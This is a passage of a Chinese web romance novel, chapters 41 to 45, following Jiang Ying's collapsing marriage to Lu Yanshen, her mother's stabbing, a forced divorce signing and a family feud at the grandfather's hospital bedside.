说着她看了眼唐玉,“你在外面收敛点别,别再说你是启明的妻子,否则你什么都拿不到。”
江莹走在风里,像是不知道冷,也或许她已经麻木。
她被自己爱的人冷落,被自己父亲逼迫,再炙热的一个人,在三年如冰如霜的日子里,也会凉下来吧?
走在自己熟悉的不能再熟悉的路上,心里却是从未有过的凉。
她刚走到小区门,有车喇叭在滴滴叫,“太太,先生让我来接您。”
看到司机陈叔,江莹怔了一下,随即冷笑,陆砚深这端水大师又端上了。
他跟秦欣有个孩子,这事基本上在她这里算是过了明路,还装什么?
“我不回湖心公馆。”
江莹说着脚步不停,往外走去打车。
“去哪儿,我听您的。”
反正先生也没有交代要接太太去哪儿,他一个司机当然要听太太的。
江莹刚刚情绪太激动,出了一身汗,这会儿风一吹冰冷刺骨。
陈叔看她双手环抱着自己,出声提醒,“太太,快上车吧,这么冷的天,再感冒了。”
江莹没再拒绝,自己不上车,陈叔一直跟着她。一把年纪的人,平时对她又好,不忍让人为难。
“陈叔,送我去梧桐里。”
陈叔看她脸色惨白,安安摇头,温声道:“好嘞。”
要说太太也挺不容易,这些年他送江莹回来过几次,大多是带几分钟就走,偶尔留下吃顿饭。
不难看出太太跟家里人关系并不亲近,要不然哪有回家就不愿待的。
刚刚他就等在院外,那“嘭嘭”声和吼叫声,他听到了。
怕太太难堪,故意绕了一圈。
江莹上车,看着窗外倒退的街景,身体渐渐回暖,心里却依旧寒凉。
那些照片在她脑子里挥之不去。
甚至想起张启明那张脸,她都开始犯恶心。
她叫了二十五年的爸,竟然偷拍她,如今还拿着照片威胁她。
整个江氏已经成为他的囊中之物,他还嫌不够,贪得无厌。
想到这里,她给江墨发了条消息:江氏是江家的,我要抢回来。
……
车子在梧桐里停下,江莹提着一口气下车。
一阵寒风吹来,她忍不住打了个哆嗦。
她裹紧身上的衣服往家走。
开门后,熟悉的环境和暖意,让她放松。
站在门口缓了一阵,才开灯换鞋。
抬手放包,猛然看到沙发上坐着一个人。
吓得她手里的包“啪”一声掉在地上。
第41章 割腕自杀了
“啊……”
江莹站在门口惊叫出声,腿一软整个人踉跄着后退一步,直接撞在门板上。
心脏仿佛骤停,饱含恐惧的眼神死死盯着沙发上的人,却感觉人影是虚的。
陆砚深双腿交叠,靠在沙发上,整个人优雅清贵。
看到她这副表情,沉沉开口,“你老公诈尸了,吓成这样?”
江莹缓了良久,像是视线才聚焦,看清陆砚深那张脸,她瞬间松了口气。
只是胸腔里的愤怒瞬间腾起,“狗东西,你怎么在我家?”
她好不容易缓过来的情绪这会儿又绷了起来,说着去查看门锁。
门锁完好无埙。
男人扯了扯领带,嗓音淡淡,“就你这把锁,随随便便一个开锁公司都能开。”
“陆砚深,我不知道你这么阴魂不散要干什么,但今天不想跟你闲扯,赶紧走,别逼我叫保安。”
这人有病,坐在客厅不开灯,不知道人吓人吓死人?
没等陆砚深说话,敲门声响起。
“咚咚咚”
后背突然响起的敲门声,让江莹又是一个机灵。
今晚是冲撞了哪路神仙,为什么一波未平一波又起?
开门,杜宇提着行李箱,恭敬道:“太太,我来送陆总的衣物。”
江莹咬牙,“谁允许他在我家的?”
杜宇看这架势,有点担心自己老板会被扫地出门。
陆砚抬手示意他放下东西。
杜宇放下行李箱准备离开,想到自己老板那张嘴,决定送佛送到西。
他看看陆砚深,又看了眼江莹,笑道:“陆总,已经通知江氏,明天就可以让他们去公司谈协议。”
陆砚深瞅了他一眼,扬了扬下巴,“注意跟进。”
江莹刚想问什么事,杜宇开门离开。
“陆砚深,你到底在搞什么?”
江莹却觉得杜宇刚刚的话,就是说给她听的。
杜宇跟在陆砚深身边多年,他了解陆砚深的一言一行,甚至在陆砚深都没有留意的地方他都能注意到。
他这么说一定不是一句简单的工作交流。
“我能搞什么鬼,当然是让你们都满意。”
陆砚深说着起身,走过去拿起自己的行李箱。
既然她不想回湖心公馆,那就陪她住在这里,想要的项目也给了,江莹要知道,肯定又要抱着她的脖子撒娇。
男人起身拿过自己的行李,嘴角微微勾起,直接往卧室走。
“你不能住在我家,脸皮怎么那么厚。”
看着狗男人登堂入室,江莹不但生气,还觉得浑身阵阵发冷。
她走进卧室,陆砚深正在脱衣服。
江莹拿起他的衣服扔到了门外,“陆砚深,你到底想干什么?”
“洗澡睡觉,看不出来吗?”陆砚深睨了她一眼,也生气,“你真当是我想来?拜你所赐,我姐和奶奶都追到我们家了,我还能回去吗?”
江莹心虚一瞬,从张家出来,陆君确实给她打了好几个电话,她都没有接,甚至连消息都没有回。
“你去哪儿我管不着,我今天很累,不想跟你纠缠不清。”江莹说着眼眶泛红,“陆砚深,这三年是我不自量力非要待在你身边,所以不管你对我有多冷,我都忍了。”
她说着吸了吸鼻子,努力控制自己情绪,“但,我也是个人,也有情绪,需要人关心,需要人呵护。在你身边这几年,除了冷,我体会不到一丝温情。原本以为只要我努力,你就能看到我的好。我甚至一度怀疑是不是自己不够好,所以你不喜欢我。”
江莹盯着陆砚深,眼泪最终还是没有控制住,落了下来。
她连忙抬手,擦干脸上的泪痕,弯唇笑道:“但现在我不这么想了,你的凉薄与生俱来,不是我不够好,而是我不能勉强一个不爱我的人对我好罢了。你爱秦欣,爱你们的孩子,给他们一个家吧。”
“抱歉,勉强了你三年,我们没能好聚,来个好散总可以吧?”
陆砚深看着眼前眼眶绯红的女人,心里莫名揪紧。
不管是生气的,还是撒娇的江莹,都是活力满满,他从来没有见她这么丧过。
抬手将她脸上一点泪痕擦掉,动作让人浮想联翩,开口却让人讨厌不已。
“你倒是大度,我是不是要给你颁个最佳前妻奖。”
“有时间胡说八道,不如想想,网上的事怎么给家里一个交代。”
“至于那个孩子,跟你没关系你就当不知道。”
江莹原本还能控制的情绪,在狗东西再次凉薄开口时,瞬间绷不住,眼泪簌簌往下掉。
原本想跟他好好谈,没能有个好的开始,最起码分开不要闹得太难堪,但狗男人不领情。
“你走,不想看到你。”
她抬手,一拳打在他胸膛,虽然用了十足的力气,但对于一个常年健身的男人来说,力道并不算大。
更何况,连江莹自己都没有意识到她这会儿没什么力气。
看她那委屈巴巴的可怜样儿,陆砚深深吸一口,转身离开。
江莹直觉头昏脑涨,澡都没洗直接躺床上,最终还是没有控制住,蒙着被子哭了起来。
她的父亲把她当摇钱树,她的丈夫当她是暖床工具,还有比她的处境更难堪的吗?
脑子里不觉间浮现张启明手机里的照片,整个人胸口又闷又疼。
也不知道哭了多久,竟然沉沉睡去。
直到被一个冰冷的手拉起,才迷迷糊糊睁开眼,看清眼前的人,江莹声音尖厉,“王八蛋,你怎么还没滚?”
男人眸色沉沉看着她,将她身上的被子拉开,“我是王八蛋,你又是什么,蠢不蠢?”
江莹想到这人的凉薄和无赖,气不打一出来,抬手给了他一个耳光,“陆砚深,我早就想打你了。”
然而一巴掌过去,似乎并没有在男人那张无可挑剔的脸上留下什么痕迹。
陆砚深皱眉,压着嗓音道:“江莹,我是太纵容你了,竟敢跟我动手了。”
江莹微微扬起脸,她以为狗男人会还回来,毕竟在江北没人敢打他。
但,下一秒,她没有等到脸上被打,而是被陆砚深抱了起来。
“嘶,好晕,陆砚深你放我下来,头晕。”
江莹说话有气无力,只觉得浑身疼,绵软无力。
“现在知道难受了,忍着。”某人挨了一个软软的耳光,心里不爽,长这么大没有人敢跟他动手,结果不知天高地厚的女人直接打他脸。
江莹这会儿发着高烧,小脸红扑扑的,本就瘦弱纤细的身子,此刻被陆砚深抱在怀里软绵绵惹人怜爱。
跟之前抱她去洗澡一样,给人感觉很好欺负。
陆砚深本来想走的,但脑子里女人委屈巴巴的样子让他顿住脚步,第一次没有出息地在人家沙发上躺了下来,竟然还睡着了。
后半夜被冷醒,想着她已经睡着,就想去床上躺会儿。结果听着呼吸声不对,走近一摸才发现烧得不轻。
他抱着江莹下楼,杜宇开车过来,心里纳闷这是做什么了,怎么就突然发烧了?
到了医院,江莹已经烧到将近三十九度,陆砚深一直抱着她,感觉像是抱了个小火炉。
杜宇忙前忙后地交钱拿药,直到江莹打上点滴,他才喘口气儿。
看自己老板坐在病床前,一脸沉重的样子,心想他这是愧疚了?
把人折腾得都发烧了,能不愧疚吗?
“去买只药膏,消肿的那种。”陆砚深嗓音淡淡。
杜宇吸了一口气儿出去买药,牛马人就要做好本职工作。虽然不知道为什么,但老板不说,咱就不问。
药膏买回来,江莹已经沉沉睡着。他刚在一旁的沙发上坐下,想着歇会儿,结果听到一句无情的话:“你可以出去了。”
杜宇:……
病房门关上,陆砚深扒开江莹额头上的头发,打开药膏轻轻打圈抹在红肿处。
打完点滴,天色已经大亮。
江莹退烧,整个人精神恢复了不好,“多谢陆总没有见死不救,时间不早了,不耽误您宝贵时间,再见。”
陆砚深嗤笑,“用完就扔,你倒是一点不客气。”
“要不我给你磕一个?”江莹白了他一眼。
陆砚深看她脸色苍白,懒得搭理她,顺手拿了衣服递给她。
江莹接过,看着自己爱了多年的男人,有那么一瞬间的恍惚。
这是陆砚深第一次照顾她,虽然她烧得有些迷糊,但并不是毫无意识。
被他抱在怀里,作为她的依靠,是她渴望已久的感觉。
突如其来的手机嗡嗡声,把江莹的思绪拽了回来。
看到名字,江莹咬唇轻笑,从根上开始溃烂不堪的婚姻,她还恍惚个屁。
陆砚深抬眸看了眼江莹,往旁边走了两步接通电话。
紧接着,秦欣哭啼啼的声音传了过来。
“砚深,不好了,我妈割腕自杀,在抢救呢。”
第42章 如你所愿,我签字
听到周梅出事,陆砚深神色瞬间严肃,松了江莹直接离开。
江莹看着他的背影扯唇,还好刚刚她并没再自作多情。
她回到梧桐里已将近八点,开门进屋,手机在床头柜响个不停。
江莹快步进去,看到是刘姐打来的,心里突然咯噔一下。
她接通电话,声音有些发虚,“刘姐,我妈有什么事吗?”
刘姐声音焦急,“莹莹,你赶快来一趟吧,你妈被人拿刀捅了,正在抢救。”
江莹整个人如遭雷击,好好的在疗养院,怎么就被人捅了呢?
宋瑾修出差回来,给江莹买了早餐带来,下车就碰到着急出门的江莹。
“莹莹,出什么事了?”
听到宋瑾修的声音,江莹泪水瞬间夺眶而出。
“出什么事了?”宋瑾修慌张地扶住她的肩,“别怕,师哥在。”
“师哥,我妈出事了。”
宋瑾修眼中闪过一抹复杂,神色焦急,“我陪你去疗养院。”
说着拉起江莹上车。
车子到疗养院时,江岚还在抢救,刘姐一个人等在手术室门口。
看到她来扑通了一下跪在了江莹面前,“莹莹,都是我不好,是我没有看好夫人。”
刘姐曾是家里的佣人,母亲出事后,江莹怕外面的人不可靠,特意让刘姐去学了护理和简单的急救,为的就是更好地照顾母亲。
“刘姐,你起来说。”江莹将人扶起来,“我妈怎么样?”
“医生说伤到了脾脏。”
听到这消息,江莹眼前一黑,差点栽倒。
宋瑾修眼疾手快地将人扶住,轻轻拍着她的后背,柔声安抚,“阿姨会没事的。”
江莹泪水控制不住顺着脸往下流,这些年支撑着她的,是母亲。
她坚信母亲一定会清醒。
当初张启明放弃时,她一个人坚持,到处打工挣钱。
期间受了多少罪,吃了多少苦,宋瑾修和梁玥最清楚。
“刘姐,到底怎么回事?”宋瑾修扶着江莹坐下后,出声问。
刘姐呜咽道:“我去楼下扔垃圾,上来就看到夫人握着肚子躺在门口呻吟。屋里有个坐轮椅的人,那人血顺着手腕往下滴,当时我都吓懵了。”
“哦,轮椅上那个人就是之前,要占用我们病房那个周夫人。”
听到周夫人,江莹瞬间挺直了后背,“是她捅伤了我妈?”
“是,医院已经调了监控,那个周夫人捅了夫人之后,自己也割腕了。幸好护士发现得及时,要不然后果不堪设想。”
“哪个周夫人?”宋瑾修问,“她情况怎么样?”
江莹吸了吸鼻子,“秦欣她妈。”
刘姐补充道:“她已经脱离危险,早就被推去检查了。”
她说着意味深长地看了眼江莹。
陆砚深上次来,她见到了,知道刚刚陪着周梅走的人是江莹的丈夫。
江莹深吸一口气,擦了擦脸上的泪,陆砚深接了电话就着急忙慌过来,就是为了周梅。
他明知道自己母亲在手术室抢救,却还是选择了去照看周梅。
这一刻,江莹有些恨自己,她恨自己因为陆砚深不签离婚协议,帮忙找肾源而动摇。
甚至还自作多情地以为,他是有些喜欢自己的,虽然死傲娇不承认。
这些话,她虽然没有说过,但这些念头在她脑子里真真切切存在过。
宋瑾修握住她的手,默默给她力量,“一切都会好起来的。”
这一幕落在朝这边走来的人眼里,冷冽的目光盯着江莹,带着骇人的寒意。
“莹莹,对不起,你原谅我妈好不好?”
秦欣跑过来,哭着直接跪在了江莹面前。
陆砚深推着周梅紧随而来,他冷冽的视线落在宋瑾修和江莹重叠的手上。
周梅一脸惭愧,“孩子,是我不好,我一时冲动。欣欣和砚深已经说过我了,我只是控制不住自己的情绪,不是真的想要伤害你妈。”
“你控制不住情绪,就杀人?”
江莹抬腿,一脚踹在秦欣身上。
秦欣没有躲,任由江莹将她踹倒。
“欣欣!”
周梅急切地想要从轮椅上站起来去扶她,被陆砚深按住。
秦欣缓缓从地上起来,依旧跪着,“莹莹,我妈犯了错,你怎么打我都行,求你原谅她。”
“没门儿,我不会原谅她,等着进监狱吧。”
江莹的话毫无温度,更是没有看陆砚深一眼。
“砚深,我妈她不是故意的,你知道的,她已经很可怜了,别再伤害她。”
秦欣哭得梨花带雨,可怜又脆弱,哽咽不已地握着陆砚深的手求情。
“欣欣,是我犯了错,你别这样。妈,能有你,已经是上天对我的恩赐。”
母女俩的哭得可怜,倒显得江莹是个心狠凉薄之人。
陆砚深上前,将秦欣扶了起来,低声嘱咐,“你带阿姨先回去,这里交给我。”
秦欣推着周梅离开,陆砚深开口,“周阿姨她有抑郁症,看到了网上的消息情绪失控,她一直希望我能娶秦欣,所以……”
“陆砚深,你知道我妈什么情况吗?”
江莹声音冷得不行,确切说是她自己冷得不行。
若不是宋瑾修扶着她,她怕是已经抖成筛子了。
“医生说没有生命危险。”陆砚深眼神有些闪躲。
“没有生命危险就是不严重?就应该当做没有发生原谅她?”
“现在我妈,还在手术室,你却在这里为另一个女人的母亲求情。陆砚深,你还是人吗?”
陆砚深拧眉,神色纠结,“江莹,周阿姨不是秦欣的母亲,却是对我很重要的人。她身体不好,你想要什么我可以补偿你,别为难她。”
这个消息,江莹确实没想到,周梅竟然不是秦欣的母亲。
但陆砚深此刻的态度,让她失望透顶。
“陆总,江阿姨还在手术室,你这个时候说这些,确实不合适。”
“既然知道不合适,你就不应该在这儿,你们是嫌网上不够热闹?”
“我跟莹莹五年前就认识,网上的事子虚乌有,不管你信不信。在你身边这三年,她耗尽了热情,还嫌伤她不够深?”
陆砚深没想到一向温润的宋瑾修竟然会露出想要吃了他的神情。
“宋总,你有什么立场指责我,我老婆的绯闻对象?”
“陆砚深,你若不爱她,请放手。想要给她关爱的大有人在。”
陆砚深看了一眼沉默不语的江莹,心里闷的很,声音冰冷,“我知道你在等机会,但你现在说这些就合适了?”
宋瑾修:……
两个男人剑拔弩张的样子,让江莹头疼。
尤其是陆砚深,他自己一身骚,觉得别人也跟他一样。
江莹深吸一口气,轻声开口,“刘姐,你找医生帮忙打印两份文件拿过来,我发你手机了。”
“陆砚深,既然你要保周梅,那就拿出诚意。”
“你提,只要我能做到。”陆砚深声音缓了几分。
江莹抿唇笑笑,“当然,你一定可以做到。”
不到五分钟时间,刘姐拿着两份离婚协议递给江莹。
“把这个签了,我不告她故意杀人。”
陆砚深看着江莹坚决的眼神,整个人怔住,心脏像是空了。
“若是不签,我现在就报警。”
江莹拿起电话,直接拨打了110,完全不给陆砚深思考和拒绝的机会。
电话接通,她轻声开口,不带任何情绪。
“你好,我要报警……”
陆砚深直接抢过电话,声音冷冽,“如你所愿,我签。”
江莹递上离婚协议,声音平淡无波,“签字走人,明天上午九点,民政局见。”
第43章 明天早上九点,民政局见
陆砚深气得手都是颤的。
周梅的情况刚稳定,不能让她再受刺激,即便不会定罪,但警察来了少不得一番调查询问。
万一她再做出点啥事,后果不堪设想。
网上的事爆出后陆砚深就让杜宇在处理,但背后明显有人在操纵。
他撤热度,背后的人买热度,造成这件事在网上持续发酵。
直到昨晚,甚至上了热搜。
被人嘲笑、被家人施压的是他,她怎么就不能乖一点?
不但不体谅他,反而处处跟他对着干。
闹出这种事,他相信她,不代表所有人都相信。
现在更是跟绯闻男人手握手、肩并肩,还拿周阿姨威胁他签离婚协议。
想到这里,陆砚深心里堵得有些上不来气,冷声开口,“江莹,如你所愿,别拐回来求我。”
他抬手签上自己的名字直接丢在地上,转身离开。
江莹眼唇,“陆总放心,明天上午九点,我在民政局等你。”
刘姐捡起地上的离婚协议,眼神复杂地看了眼宋瑾修,然后递给江莹。
“莹莹,刚才确实听到医生说那个周夫人有抑郁症,自杀过好几次了。”
江莹像是没有听到,她看着手里的离婚协议,陆砚深的名字赫然纸上。
他的字如同他那个人,冷硬、遒劲有力。都说看一个人的字就能看出一个人的心性,这话在陆砚深身上确实很匹配。
手里菲薄的几张纸,结束了两人的过往,也斩断了未来的关系。
人与人之间,缘来缘去,如同悄然流逝的时光,不知不觉间就已经走过。
“莹莹,一切都会好起来。”
宋瑾修看她出神,知道她心里不好受,开口安慰。
江莹强忍着眼泪,没有让它掉下来,将东西收好弯唇笑道:“一定会越来越好。”
这时手术室的门打开,医生推着江岚出来。
“医生,情况怎么样?”宋瑾修起身扶着江莹走了过去。
“问题不大,伤得不深,刀尖划到了脾脏。”
江莹看到母亲苍白的脸色,握住她的手,心里很不是滋味。
今天能够顺利让陆砚深签字,竟然是老妈帮了她,眼泪忍不住簌簌往下掉。
以前年纪小不懂事,现在经历了婚姻,才知道其实最不幸的是自己母亲。
张启明很少在家吃饭,总有忙不完的工作,家里只有她和母亲两个人。
那个时候不懂母亲眼里的落寞,总觉得她应该是不爱笑,却不想她心里的苦。
张启明的出轨,她应该早就知道。
陆砚深站在不远处的拐角看着江莹,眸色深沉而复杂。
杜宇这时候打来电话,他接通电话,声音沉冷,“查得怎么样?”
“陆总,锁定的那个IP,人已经控制住。”
“把背后的人给我撬出来。”他说着停顿了一瞬,再开口那份狠厉少了几分,“你跟江氏谈,入股出资的事,按我给你发的内容拟合同,今天务必把合同签了。”
杜宇听到这话,有点傻,就是看了他发的消息才打来电话的,他甚至怀疑老板是不是被人胁迫了。
“陆总,你能再说一遍吗?”
“不能,按照我刚才说的去做。”
陆砚深说完直接挂了电话,语气冷冽。
江莹的决绝让他意识到,她似乎离自己越来越远,这次不是闹脾气。
杜宇这会儿还是有点懵,这应该是他经手做过最白痴的合同。
……
江莹跟着母亲回到病房,刚安顿好,宋瑾修有电话进来。
他看了眼手机,出去接电话。
江莹知道他忙,心里有些不好意思。
宋瑾修再进来,江莹开口,“师哥,你去忙吧,我妈这里没什么大事。”
“要不要让梁玥过来陪你?”他确实有事,要去处理。
“不用,她这两天没在江北,有部剧开拍去了影视城。”
怕宋瑾修担心,江莹补充道:“我没事,离婚是早就想好的事,已经不难过了。”
宋瑾修抿唇,“那我先去处理公司的事,晚点再过来。”
江莹点头,“好,麻烦你给老师说一声,我这两天先不过去。但那个妆奁不是问题,我会按照约定时间修复好。”
“你别担心,你不在舅舅也能做,他就是想看你做,想让你把丢下的东西都拾起来。”
想起自己老师,江莹笑了,“我知道。”
送走宋瑾修,江莹的世界彻底陷入了安静。
她坐在母亲身边,神色渐渐平静。
江莹嘴上说是早就想好的,但陆砚深签字,离婚协议丢到她脚边的那一瞬,心还是揪了一下。
从情窦初开到成为他的妻子,没有人知道曾经那不为人知的情丝在心里熬了多久。
第一次见陆砚深,是陪着外公钓鱼。因为外公跟陆爷爷是故交,所以当时陆爷爷也在。
那一年,她十六岁,他二十二岁。
男生挺拔高大,五官英挺不凡,通身矜贵疏离的气质与生俱来。
“莹莹,这是我大孙子!”
江莹顺着陆爷爷的手指看向了不远处,站在车门边的陆砚深。
一米八几的大个子,一身米白色家居服,却难掩身上的冷冽气质。
五官优越,骨相极好。
“时间不早了,奶奶让我来接您。”
声音低沉有磁性,是江莹最喜欢的音色。
那一刻起,她很没出息的被那张脸蛊惑了,从此误入春深!
想到以前,江莹眼睛有些湿润,那时候感情单纯真挚,纯真地以为喜欢他是自己的事。
看到他会不好意思,却又忍不住要偷偷看过去。
夜晚看着他的照片,傻呵呵望着天花板,久久不能入睡。
但她从没想过要有结果,却不想造化弄人。
外公去世后,奶奶不知道从哪儿听说,外公曾经救过陆爷爷的命,陆爷爷为了表达感激,想亲上加亲,但外公没有同意。
这个消息倒是让她和张启明激动不已,得到消息的第二天就拉着江莹上门,有了这一段挟恩图报得来的婚姻。
当时,陆爷爷念旧情同意,但陆奶奶特别反对。
陆砚深被叫回家时,看到江莹神色淡淡,让人没想到的是,他竟然点头答应了。
外公在世时,她总共就见过陆砚深几次,每次他都冷淡疏离,甚至都没怎么看过自己。
对于他的点头,江莹当时又惊又喜,却也又羞又窘。
跑到人家家里逼婚,他会怎么看她?
哪个女孩子愿意在自己喜欢的人面前这么抬不起头?
但,张启明用她母亲来威胁。
那一年,江莹二十二岁,陆砚深二十八岁。
正如宋瑾修所说,短短三年耗尽了她所有的热情。
江莹看着床上静静躺着的母亲,脑子里思绪复杂,她只知道自己要往前走。
陆砚深她不要了,张家给她也不要了。
想到张启明的毫无人性,心里腾升出一个念头——让母亲跟张启明离婚。
原本她是想报复唐玉,只要张启明一天不离婚,她就是小三。
但现在她不这么想了,她要让张启明净身出户,江家的一切本就是她和江墨的。
相信若是哪天母亲清醒了,也不会怪自己。
……
江莹在医院一直守着母亲到下午,没有胃口吃饭,甚至连动都没有动。
江岚是全麻,一直昏睡。
江莹因为昨晚睡得不安稳,一大早又挂了水,所以趴在床边睡着。
“嗡嗡嗡……”
一阵手机震动音,将她吵醒。
看到“大姐”两个字,她本能地直接挂断。
即将成为前大姑姐,江莹不想再听她夹枪带棒的叨叨。
刚准备关手机,陆君的消息发了过来。
“拜你所赐,爷爷在中心医院抢救,叫上砚深赶紧过来。”
看到这个消息,江莹愣了。
但想到她跟陆砚深明天即将去办手续,她放下了手机。
第44章 一巴掌,落在陆砚深脸上
手机是放下了,心里却怎么也静不下来。
陆爷爷是她在陆家唯一给她温暖的人,也是外公生前的好友。
更何况陆君说是因为她,陆爷爷才出事的。
江莹纠结了!
不管是不是陆砚深的妻子,陆爷爷对她很好是真的。
没有跟陆砚深结婚前,就对她很好,是一位慈祥的老人。
他经常跟外公一起下棋、钓鱼,那时候江莹一放假就是两人的帮手和跟班。
坐立不安良久,江莹起身,怕万一有点事,自己内疚一辈子。
她急匆匆赶到中心医院,在电梯口碰到同样匆忙赶来的陆砚深。
江莹没有联系他,显然是陆家人找到了他。
陆砚深看了她一眼,脸色苍白,没什么血色。
“自己都这副鬼样子,还跑这么急,鬼见了你都得让道儿。”
江莹瞪了他一眼,“你倒是让道儿啊。”
陆砚深:……
两人到时,老爷子刚从抢救室推出来,病床两边都是陆家人。
老二和老三两家的人都在。
三叔陆书泉上来就指责,“你们两口子可以,一个风流韵事满城飞,气得老爷子一口气没上来。另一个一天都没有在公司,出事了都找不到人,是不是又给秦氏擦屁股去了?”
陆书泉毫不客气的话,让江莹成了众矢之的,所有人都恶狠狠盯着她。
尤其是老太太和陆君,看着她眼神恨不得杀了她。
陆砚深冷笑,“我们跑得太快怎么体现三叔你孝顺?”
陆家老太太被陆君扶着走过来,“砚深,你就是太纵容她了,一个女人好几天不回家,还被爆出跟前男友的丑事,哪个豪门太太像她一样不知检点。”
老太太说着抬手就对着江莹招呼过去,江莹愣愣地还没反应过来。
陆砚深上前拉她时,她才回神拽着陆砚深躲在他身后,并瞅准时机把陆砚深往前推了一把。
“啪……”
一巴掌,不偏不倚落在陆砚深脸上。
老太太看到自己一巴掌呼到了自己最疼爱的大孙子脸上,瞬间熄火。
“砚深,奶奶不是要打你,你凑上来干什么?”
老太太心疼地揉着陆砚深的脸,“你这孩子,你就纵容她吧,打不得也说不得。”
江莹躲在陆砚深背后突然有点想笑。
陆砚深上前拉她,她自然而然躲在他背后,因为被她推挤脚步不受控制上前,在外人看来就是陆砚深替江莹挡了耳光。
笑完,心里暗想,打得好。
“我没事,爷爷怎么样了?”
陆君瞪了他一眼,“心衰竭,家里人没敢跟他说网上的事,他出去钓鱼沈爷爷跟他说的,一口气没上来倒在了池塘边。”
她这个弟弟什么都好,就是个闷醉驴,什么事都搁在心里。
明明看着并不喜欢江莹,却从来没说过离婚,还总暗暗维护她。
心里到底怎么想的,谁也不知道。
昨天晚上看到网上的消息,奶奶就坐不住,硬拉着她去了湖心公馆想要他找江莹。
却不想这人干脆跟着江莹一起不回家。
院长怕在走廊影响不好,开口提醒:“陆总,先把老爷子推回病房。后续的治疗方案,我安排专家会诊后定。”
陆砚深点头,“辛苦!”
陆书泉这会儿看着陆砚深脸上的五指山,心情贼爽,跟在病床边故意发狠道:“砚深,你们两口子都挺会玩儿。但你也要记住,老爷子身体不好,若是因为你们的事有个三长两短我饶不了你。”
“三叔,好大的口气。”陆砚深声音冷冽。
老二陆海盛这时开口打圆场,“都少说两句,让人看笑话。”
陆砚深凉凉地看了一眼陆书泉,跟着往病房走。
病房。
“陆总,老爷子一时半会儿醒不了,家属不用留太多,可以明天再来。”院长交代完离开。
江莹听说一时半儿不会醒,转身也要走,陆爷爷没事,她也就放心了。
刚走到VIP病房外间,被陆砚深拽住。
“江莹,你太过分了,爷爷被你气倒,你看一眼就要走?”陆君跟出来呵斥,“真不知道爷爷看上你什么,除了一张勾人的脸,什么都没有。”
江莹也不生气,本来就是担心爷爷,也想到她们会为难自己,但并不后悔过来。
她勾唇笑道:“你这话不对,我这张脸若是真勾人,你弟怎么还在外面流连忘返?”
病房里所有人都愣了,向来温顺乖巧的江莹,今天跟以往完全不一样。
或者说从她来,整个人的气场就跟之前不一样。
“君啊,江莹嫁进来三年了,怎么还这么没规矩?”三婶孙兰芳睨了江莹一眼,“来了一个招呼都没打不说,最后一个来,倒想第一个走,你们大房的人都是这么做样子的?”
陆书泉装好人,笑道:“人家说不定有事呢,家里家外,忙!”
江莹刚要开口,被陆砚深扯到身后,“三叔,本来不想在这里说的,既然你这么憋不住吗,我就成全你。”
“我怎么了?”
“你怎么了?”陆砚深眸光冷冽,“不见棺材不落泪,若不是你,爷爷会躺在医院?”
陆书泉眼神闪过一丝慌乱,想到那人说他会善后,瞬间稳住情绪。
“砚深,我好歹是你三叔,你别什么都往我头上扣。你老婆跟旧情人余情未了跟我有什么关系?”
陆宁听她三叔这么说,不乐意,“三叔,我哥从来不会污蔑人。倒是你,总是坑我哥。”
她说完瞪了江莹一眼,不是为了帮江莹,而是看不得三叔老欺负她哥。
大伯大伯母去世得早,三叔总想占她哥的便宜。
老二媳妇李玉婉上来拉自己女儿,呵斥道:“死丫头,哪有你说话的份儿!”
二房两口子比较佛系,不争不抢,但在家里是两边都不得罪。
江莹本来对他们叔侄之间的斗法不感兴趣,但听陆砚深这意思,污蔑她的事应该跟三叔有关,就想听听。
因为身体不舒服,干脆在沙发上做了下来。
老太太从里间出来,看到江莹脸色更不好看。
“吵吵什么呢?”她瞪了一眼自己小儿子,“嫌你爸命长是不是?”
“三叔,你自己说,还是我帮你说?”
看陆砚深狠厉的样子,陆书泉心虚。
老太太看自己小儿子神情不似刚才那般坦然,盯着他问,“老三,你干的?”
陆砚深倚在沙发边,握着江萤的手腕不松。
江莹暗暗挣扎了几次都没挣脱,眼睛瞪着他,狗男人全然不看她。
陆砚深嘴角噙着一抹笑,声音沉冷,“三叔,有时候我是真搞不懂你的做事逻辑,在网上散布谣言污蔑我老婆,对你有什么好处?”
“除了让我丢人,让陆氏名誉受损,对你夺权似乎也没什么帮助。还是说我老婆得罪过你,以至于让你不惜花重金买热度往她身上泼脏水。”
陆书泉脸上神色僵住,那人不是说没问题,怎么还是被陆砚深知道了?
这是江莹第一次听到陆砚深说“老婆”这个词,她有那么一瞬间恍惚。都要离婚了,他知道自己是有老婆的,挺生讽制,也挺好笑。
陆砚深倚在沙发扶手上,说完开始把玩江莹的手指。
上次看到她的指甲就觉得好看,这会儿仔细看,确实很漂亮,一片片花瓣悄然盛开,桃花灼灼。
江莹排斥他的触碰,弯起手指在他掌心留下深深的月牙痕迹,另一只手暗暗在他腰间用力拧着。
若不是因为怕节外生枝,她这会儿该抬手再给他一耳光,什么玩意儿!
她不认为不痛,但狗男人竟然一点反应都没有,反而有一下没一下地揉她的手。
“老三,是不是你干的?”
老太太是讨厌江莹,但若是有人伤她大孙子,她绝不同意。
“三叔,我既然这么说,肯定是有证据的。我要是你绝对不会再狡辩,给自己留点颜面。”
孙兰芳见事情要败露,连忙上前为自己丈夫解围,“妈,我爸还病着,有什么事等我爸好了再说。”
陆砚深不以为意,“三叔,你说还是我说?”
陆书泉张张嘴,刚准备开口,手机震动有消息进来。
第45章 禁忌话题
陆书泉看了眼手机,悬在嗓子眼儿的心,瞬间落回原处。
“砚深,我知道你对三叔有成见,但我怎么可能做这种事,就像你说的对我有什么好处?”
他说完,又看向自己老妈,“妈,你也不能总这么偏心,我一个长辈,造自己侄媳妇黄谣吃饱撑的?”
陆砚深看他死不承认,直接点开手机,开始播放一段视频,“三叔,你好好听听。”
“大家好,我是快嘴娱乐的主编梁山,在此给大家澄清一件事,关于网上针对陆氏总裁陆砚深及其太太的传闻纯属造谣,是有人给了我一笔钱让我炒作。我本人在知道图片为恶意P图捏造的情况下,故意传播的行为给陆砚深先生及他的太太造成了极大的伤害,在此我向陆砚深先生及江莹女士郑重道歉,也愿为自己的行为付出代价。”
视频教完,陆砚深划动手机屏幕,里面出现一张转账照片。
“三叔,人我已经交给警方,这个账户你不会不认识吧?”
陆书泉看了眼陆砚深手机里的转账截图,是一个海户账户,户名正是他在外留学的儿子陆璟。看清之后,他松了一口气,但也暗骂心里那个人,怎么把他儿子给扯进来了,这还叫不会有事?
所有人都看着这对叔,这会儿病房里鸦雀无声。
江莹也看到了,豪门深似海,这话诚不欺人。
